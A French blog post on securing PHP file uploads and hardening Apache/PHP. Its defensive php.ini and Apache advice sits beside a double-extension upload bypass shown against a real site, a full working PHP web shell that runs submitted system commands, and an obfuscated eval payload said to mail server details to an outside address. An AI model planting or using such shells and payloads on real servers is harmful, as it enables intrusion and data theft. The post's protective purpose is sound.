Aller au contenu | Aller au menu | Aller à la recherche


PHP upload sécurisé et interprétation contrôlée du code PHP avant téléchargement pour éviter les injections

Comment éviter l'injection et l'exécution de scripts PHP indésirable ?

Introduction sur l'envoi d'éléments : texte et fichier depuis un formulaire web à destination d'un serveur web

Outre la faille de DOS dans les versions antérieures à PHP 5.3.1, il est fréquent que le sites web aient besoin de recueillir des données. Généralement cela se passe via les formulaires html, mais si vous voulez échanger plus que de la donnée texte, donc des fichiers, il vous faudra envoyer (upload) de la donnée binaire via le type FILE.

Voyez les différents types possibles : TEXT | PASSWORD | CHECKBOX | RADIO | SUBMIT | RESET | FILE | HIDDEN | IMAGE | BUTTON de l'élément INPUT sur les normes W3C.)

Une fois le fichier fichier sur le serveur, s'il est disponible au téléchargement (download), il ne reste plus qu'a utiliser son URL pour le télécharger.

Sécurité dans l'envoi des fichier (upload) vers un serveur PHP

Suject: Injection upload php, Backdoor, ....

Les problèmes de sécurité avec PHP fait une bonne approche sur les failles d'upload.

La protection : safe mode PHP, permet de limiter les dégâts, mais pas de les anéantir..., tellement que : Le "Safe Mode" est obsolète depuis PHP 5.3.0 et est supprimé dans PHP 6.0.0.

Les parades pour lutter contre l'injection

Heureusement certains webmaster cherchent des solutions de Sécurité contre injection de code dans upload



On peut aussi forcer le téléchargement du fichier (Apache force download) :

<IfModule mod_headers.c> 
	<Files *.pdf>
		ForceType application/pdf
		Header set Content-Disposition attachment
	</Files>
	<FilesMatch "\.(jpe?g)$">
		ForceType image/jpeg
		Header set Content-Disposition attachment
	</FilesMatch>
 </IfModule>

Forcer le téléchargement du fichier

Avec cette configuration l'accès à un fichier, est directement transmis au client sans interprétation du code inclus dans ce fichier.

<Directory "/var/www/mysite/files">
#        RemoveType application/x-httpd-php .php
#        RemoveType application/x-httpd-php .phtml
#        RemoveType application/x-httpd-php-source .phps
#        
#        RemoveType .php
#        Header set Content-Type application/octetstream
#        Header set Content-Disposition attachment
#        
#        AddType application/octet-stream .jpg
#        
#        ForceType application/octet-stream
#        Header set Content-Type application/force-download
#        Header set Content-Disposition attachment
#        
#        ForceType application/octet-stream
# Forcer le téléchargement du fichier ouvrant la boîte de dialogue d'enregistrement du fichier pour l'internaute
        ForceType application/force-download
</Directory>

Sites vulnérables aux attaques PHP le 10 décembre 2009

CENSURE : (multiple upload Php/Ajax)

Lors de l'upload, ce site ne vérifiant que l'extension du php, il vous refusera d'envoyer un fichier .php

Alors la solution est simple, on met une extension autorisée, en l'occurrence du .gif

Donc nous renommerons l'extension de notre fameux fichier phpinfo.php en .gif : phpinfo.php.gif

<?php phpinfo(); ?>

Après avoir envoyer vos fichiers, vous les retrouverez disponible sur le http :

  • CENSURE.biz/uppy/MyUpload/
    • CENSURE.biz/uppy/MyUpload/phpinfo.php.gif

Et comme le site propose de télécharger directement le fichier envoyé et qu'il s'agit d'un serveur PHP, au lieu de nous envoyer le fichier, le serveur interprète les balises PHP du fichier lorsque nous souhaitons le télécharger. Dans notre cas, rien de bien grave hormis que l'on obtient toutes les informations du serveur via la fonction phpinfo(), mais imaginer que l'on mette une backdoor, qui pénétrerai votre serveur : vol, destruction, virus, corruption de données !....



Outils d'analyses d'entêtes http

  • webrankinfo : Analyser le code de l'entête HTTP d'une page : Analyse du header HTTP (entête HTTP)
  • outils-referencement : Entête HTTP - analyse de l'entête d'une page web

Exemples de scripts PHP d'attaques d'un serveur web

Un listing d'attaques

Script 1 : Injection de commandes systèmes via un formulaire web

A la différences des principales attaques, celui ci ferme les log avec closelog — Ferme la connexion à l'historique système. closelog() ferme le pointeur qui sert à écrire dans l'historique système. L'utilisation de closelog() est optionnelle.

Il vérifie que le dossier courant est accessible en écriture avec is_writable — Indique si un fichier est accessible en écriture

Et propose un formulaire web d'injection de commandes PHP exécutées par system qui enregistre les sorties avant de les afficher avec ob_get_contents — Retourne le contenu du tampon de sortie

<?php
echo "<p><font size=2 face=Verdana><b>This Is The Server Information</b></font></p>";
?>
 
<?php
  closelog( );
  $user = get_current_user( );
  $login = posix_getuid( );
  $euid = posix_geteuid( );
  $ver = phpversion( );
  $gid = posix_getgid( );
  if ($chdir == "") $chdir = getcwd( );
  if(!$whoami)$whoami=exec("whoami");
?>
<br>
<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="0">
<?php
  $uname = posix_uname( );
  while (list($info, $value) = each ($uname)) {
?>
  <TR>
    <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><?= $info ?>: <?= $value ?></DIV></TD>
  </TR>
<?php
  }
?>
  <TR>
  <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>User Info:</b> uid=<?= $login ?>(<?= $whoami?>) euid=<?= $euid ?>(<?= $whoami?>) gid=<?= $gid ?>(<?= $whoami?>)</DIV></TD>
  </TR>
  <TR>
  <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>Current Path:</b> <?= $chdir ?></DIV></TD>
  </TR>
  <TR>
  <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>Permission Directory:</b> <? if(@is_writable($chdir)){ echo "Yes"; }else{ echo "No"; } ?></DIV></TD>
  </TR>
  <TR>
  <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>Server Services:</b> <?= "$SERVER_SOFTWARE $SERVER_VERSION"; ?></DIV></TD>
  </TR>
  <TR>
  <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>Server Adress:</b> <?= "$SERVER_ADDR $SERVER_NAME"; ?></DIV></TD>
  </TR>
  <TR>
  <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>Script Current User:</b> <?= $user ?></DIV></TD>
  </TR>
  <TR>
  <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>PHP Version:</b> <?= $ver ?></DIV></TD>
  </TR>
</TABLE>
<BR>
<font face="courier new" size="2" color="777777">
<b>#</b>php injection: <br>
<FORM name=injection METHOD=POST ACTION="<?php echo $_SERVER["REQUEST_URI"];?>">
cmd :
<INPUT TYPE="text" NAME="cmd" value="<?php echo stripslashes(htmlentities($_POST['cmd'])); ?>" size="161">
<br>
<INPUT TYPE="submit">
</FORM>
<hr color=777777 width=100% height=115px>
</font>
<pre>
<?
$cmd = $_POST['cmd'];
  if (isset($chdir)) @chdir($chdir);
  ob_start();
  system("$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp");
  $output = ob_get_contents();
  ob_end_clean();
  if (!empty($output)) echo str_replace(">", "&gt;", str_replace("<", "&lt;", $output));
exit;
?>

Script 2 : Envoi des informations du serveur par mail

function d($s, $k=''){if($k==''){for($i=0;$i<strlen($s);$i){$d.=chr(hexdec(substr($s, $i, 2)));$i=(float)($i)+2;}return $d;}else{$r='';$f=d('6261736536345f6465636f6465');$u=$f('Z3ppbmZsYXRl');$s=$u($f($s));for($i=0;$i<strlen($s);$i++){$c=substr($s, $i, 1);$kc=substr($k, ($i%strlen($k))-1, 1);$c=chr(ord($c)-ord($kc));$r.=$c;}return $r;}}
 
eval(d("VZL7TuJAGMUfbfcV1HUJoMnakVvqLUqhpVNoYVpmaBvRXul0hqq0XOpGH3HR7CbuvyfnJL/zfYdGtTov8jSv/VzXj3pGr3K8ub4STo7HqFKl+Span1aKXwd3unRY2d5cs0eeh/WT94im1Wq1dvleXS55eHh98EODRvmAZcFrwCtnqZWONRPslsnnQGS2mfAZacvhdFvgZ+ohhhtmKsnB0iAou6PojbzMqbo1TJiPty2oSZNXx3H5PQAbW8H5pORpcN5fuu6zqKeiMaBcHEqktInN4yWg9pmjEIGqVt9JNGul97hJ50TnhqmtogHZGLSzgbzF7gVdtrirYr5bmvJkitUL1Rb0qQrATpNvTIRVYtqabwhQtjBRMSARxirUmqCj3wqaqrRZQJx4bN5tfU2KKW4lHsGrobWLocK2UAGLB4AFm7RbQ8lAaCqMyYDE2EJ9i+67lXLqzW7Lf75H5eItUoymTSYs5MkXvvL/LAef2aAxpT7vinoXxZZAMGEuImWgEtWc3J8lYwugF3vP0ptkLHCNTJeExYCXO8Q0E1nZQoNakgAceBnZOaTNVKXXhrK5nmPAidKW45myCBrDD42mpJv4DeMp5G+FiW8/tOekv1ujD+Ze8dlX512WKCHzS3jRnxSpk6mbAO/5Uqf0zoEIJb2Ag6D0XbTWmRiTV8BH9O/feItOFbTxzssepGI6AyMZP7myw/IMyeYMyzcDC4ym+9uvddqk+hboAdGefClefNnaBu53EBL1ZSR32YLomSZ1Mzcz1r6Zdo5vjqLfj7zmeUXSaYZBFGRhfFrhqziq1y6/f4t3WX75Bw==", 1235327122));

Je vous laisse décoder ce qui cache se script, mais en gros : c'est l'envoi des infos du serveur PHP attaqué (et de l'ip qui a lancé ce script sur telle URL) à destination de ban.dage07@gmail.com (voyez aussi ulisoft.org)

Sécuriser le reste de son serveur PHP

Selon Checklist for Securing PHP Configuration

La désactivation à distance des URL pour les fonctions de traitement des fichiers

Les fonctions de gestion de fichier comme fopen, file_get_contents, et incluent acceptent les URL comme des paramètres du fichier. Même si cela permet aux développeurs d'accéder à des ressources éloignées, comme les URL HTTP, il se présente comme un énorme risque de sécurité si le nom est tiré de l'entrée utilisateur sans assainissement approprié, et ouvre la porte à l'exécution de code à distance sur le serveur. Pour désactiver cette fonction et de limiter au système de fichier local, utilisez le paramètre suivant dans le fichier php.ini:

allow_url_fopen = Off

Restreindre là où PHP peut lire et écrire

Les scripts PHP, n'ont pas forcément besoin d'accéder à tous les sous-répertoire dans le système de fichiers, on peut donc les cantonner au dossier /var/www par exemple. Dans ce cas, vous pouvez limiter ce que la fonction fopen et autres fonctions d'accès aux fichiers peuvent lire et écrire en utilisant la directive suivante:

open_basedir = /var/www

Cacher la présence de PHP

PHP révèle sa présence sur le serveur de différentes façons:

  • il peut envoyer un en-tête HTTP (X-Powered-By: PHP)
  • ou ajouter son nom à la signature et la version d'Apache.
  • En plus, il existe des URL d'oeufs de Pâques qui retournent le logo et les crédits de PHP :

Les Easter Egg (œuf de Pâques, tel que le défini Wikipédia en parlant des fonctions cachées)

#define PHP_LOGO_GUID        "PHPE9568F34-D428-11d2-A769-00AA001ACF42"
#define PHP_EGG_LOGO_GUID  "PHPE9568F36-D428-11d2-A769-00AA001ACF42"
#define ZEND_LOGO_GUID     "PHPE9568F35-D428-11d2-A769-00AA001ACF42"
#define PHP_CREDITS_GUID  "PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000"

Et oui, PHP possède ses propres fonctions cachées. Pour cela il suffit d’ajouter une variable dans l’URL de n’importe quel site fait en PHP. Les variables en question sont citées ci dessous :

  • Credits PHP : ?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000
  • Logos PHP :
    • ?=PHPE9568F34-D428-11d2-A769-00AA001ACF42
    • ?=PHPE9568F35-D428-11d2-A769-00AA001ACF42
    • ?=PHPE9568F36-D428-11d2-A769-00AA001ACF42

Il n'y a évidemment aucune raison de laisser les utilisateurs finaux connaître la version PHP du serveur. Heureusement, il y a un interrupteur dans le fichier php.ini qui désactive tout ce qui précède:

expose_php = Off

La signature d'Apache

Pour plus de sécurité, masquez l'identification du serveur sur les pages d'erreur (message Apache Server + numéro de version) dans la conf Apache (Core Features) :

ServerSignature Off 
ServerTokens Prod

Prenez garde aux fonctions d'exécution système

D'autant plus si vous n'êtes pas dans un environnement chrooté, et que les fonctions d'appel au système (ligne de commande) ne sont pas désactivée prenez garde à l'utilisation de ces fonctions permissives et donc dangereuses :

  • exec— Exécute un programme externe (Lorsque le safe mode est activé, vous pouvez uniquement exécuter des programmes qui se situent dans le dossier défini par safe_mode_exec_dir. )
  • shell_exec — Exécute une commande via le Shell et retourne le résultat sous forme de chaîne (Cette fonction est désactivée par le safe-mode)
  • pcntl_exec — Exécute le programme indiqué dans l'espace courant de processus
  • popen — Crée un processus de pointeur de fichier (Lorsque le safe mode est activé, la chaîne de commande est échappée avec la fonction escapeshellcmd().)
  • passthru — Exécute un programme externe et affiche le résultat brut (Lorsque le safe mode est activé, la chaîne de commande est échappée avec la fonction escapeshellcmd().)

Pour désactiver certaines options ou fonctions

Consultez la description des directives internes du php.ini, les fonctions désactivées par le Safe Mode

AlsaCréation vous illustre la désactivation de fonctions php :

disable_functions = symlink,shell_exec,exec,proc_close,proc_open,popen,system,dl,passthru,escapeshellarg,escapeshellcmd

Et pour terminer

Ce que vous auriez du faire dès le début, lire la a section sécurité de la documentation PHP.

Pour les serveurs Apache

Sécurisation d'un serveur Apache

Users et users

Le serveur web est lancé par l'utilisateur root ce qui lui permet d'utiliser le port privilégié 80, ensuite il prend l'identité d'un utilisateur sans pouvoir apache ou nobody.

User apache
Group apache

suexec

Le problème est que les scripts s'exécutent tous avec le même id (i.e. le même propriétaire). En conséquence, ils peuvent interférer entre eux. Le programme suexec permet d'utiliser des User/Group différents pour chaque virtual host de façon à séparer les utilisateurs. En contrepartie, un pirate disposant du compte apache est capable d'utiliser ce programme pour corrompre d'autres comptes, c'est pour cela qu'il n'est pas actif par défaut. Il faut lire très attentivement la documentation.

Documentation Apache : suEXEC Support


** Support suEXEC d'Apache 1.3
** suEXEC Support - Apache HTTP Server Version 2.2
** Support suEXEC - Serveur Apache HTTP Version 2.3

SUEXEC(8)                                       suexec                                       SUEXEC(8)

NAME
       suexec - Switch user before executing external programs

SYNOPSIS
       suexec -V

SUMMARY
       suexec  is  used  by the Apache HTTP Server to switch to another user before executing CGI pro-
       grams. In order to achieve this, it must run as root. Since the HTTP  daemon  normally  doesn’t
       run  as  root,  the  suexec  executable  needs the setuid bit set and must be owned by root. It
       should never be writable for any other person than root.

       For further information about the concepts and and the security model of suexec please refer to
       the suexec documentation (http://httpd.apache.org/docs/2.2/suexec.html).

OPTIONS
       -V     If  you  are root, this option displays the compile options of suexec. For security rea-
              sons all configuration options are changeable only at compile time.

Apache HTTP Server                            2005-11-13                                     SUEXEC(8)
~# /usr/lib/apache2/suexec -V
-D AP_DOC_ROOT="/var/www"
-D AP_GID_MIN=100
-D AP_HTTPD_USER="www-data"
-D AP_LOG_EXEC="/var/log/apache2/suexec.log"
-D AP_SAFE_PATH="/usr/local/bin:/usr/bin:/bin"
-D AP_UID_MIN=100
-D AP_USERDIR_SUFFIX="public_html"
Autres docs

Problèmes de php_value avec suexec

Pour le problème de TimeOut avec FastCGI : mod_fcgid: read data timeout in 40 seconds, mod_fcgid ignoring FastCGI config settings? nous indique de rajouter : ProcessLifeTime 7200 pour chaque VirtualHost ou dans une configuration globale dans la section <IfModule mod_fcgid.c>

En fait cela ne marchant pas il faut plutôt lire la documentation Apache du Module mod_fcgid (execution of FastCGI applications), puis de rajouter dans votre Vhost :

        IPCCommTimeout 600

Ou FcgidIOTimeout pour les versions d'Apache >= 2.3

  • [warn] (103)Software caused connection abort: mod_fcgid: ap_pass_brigade failed in handle_request function
  • mod_fcgid: process 3619 going graceful shutdown, sending SIGTERM process /path/index.php(3619) exit(communication error), terminated by calling exit(), return code: 0
[notice] mod_fcgid: process 3619 going graceful shutdown, sending SIGTERM
[notice] mod_fcgid: process /path/index.php(3619) exit(communication error), terminated by calling exit(), return code: 0

ou

[notice] mod_fcgid: process /path/index.php(8109) exit(busy timeout), terminated by calling exit(), return code: 0

Alors là c'est le mystère .... on peut lire :

et essayer de palier au message :

Internal Server Error

The server encountered an internal error or misconfiguration and was unable to complete your request.

Please contact the server administrator, administrateur@monsite.com and inform them of the time the error occurred, and anything you might have done that may have caused the error.

More information about this error may be available in the server error log.

/some/path/to/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable

Même si vous n'avez pas de fichier .htaccess vérifiez que les droits sur vos fichiers et dossier sont corrects (appartiennent à l'utilisateur concerné)

Impossible de s'authentifier (auth_type http) sur phpMyAdmin avec FCGI

Si vous êtes configurés en autentification http

$cfg['Servers'][$i]['auth_type'] = 'http';
Patches
To authenticate with 'auth_type=http' and phpMyAdmin running as FastCGI script, FastCGI has to provide the 'Authorization' header. 
This is done with the option '-pass-header' set to 'Authorization'. 
Set this option in apache2.conf (e.g. FastCgiConfig -pass-header Authorization).
In order to analyze this value install the attached patch.
Dear Developers,
In order to be able to use http authentication to work with PHP/MOD_FASTCGI and fix errors:

FastCGI: comm with server "php-bin/php" aborted: error parsing headers:
duplicate header 'status'

you shoud not send header('status: 401 Unauthorized') if phpmyadmin works under the fcgi environment.
See attached patch.

Et heureusement ce patch de FCGI phpMyAdmin est désormais inclus, il faut juste rajouter de la ré-écriture d'url :

'HTTP' authentication mode

   * Uses HTTP Basic authentication method and allows you to log in as any valid MySQL user.
   * Is supported with most PHP configurations. For IIS (ISAPI) support using CGI PHP see FAQ 1.32, for using with Apache CGI see FAQ 1.35.
   * See also FAQ 4.4 about not using the .htaccess mechanism along with 'HTTP' authentication mode.
1.35 Can I use HTTP authentication with Apache CGI?

Yes. However you need to pass authentication variable to CGI using following rewrite rule:

RewriteEngine On
RewriteRule .* - [E=REMOTE_USER:%{HTTP:Authorization},L]

PHP FCGI : CGI = Common Gateway Interface

Ajouter un commentaire

Le code HTML est affiché comme du texte et les adresses web sont automatiquement transformées.

Fil des commentaires de ce billet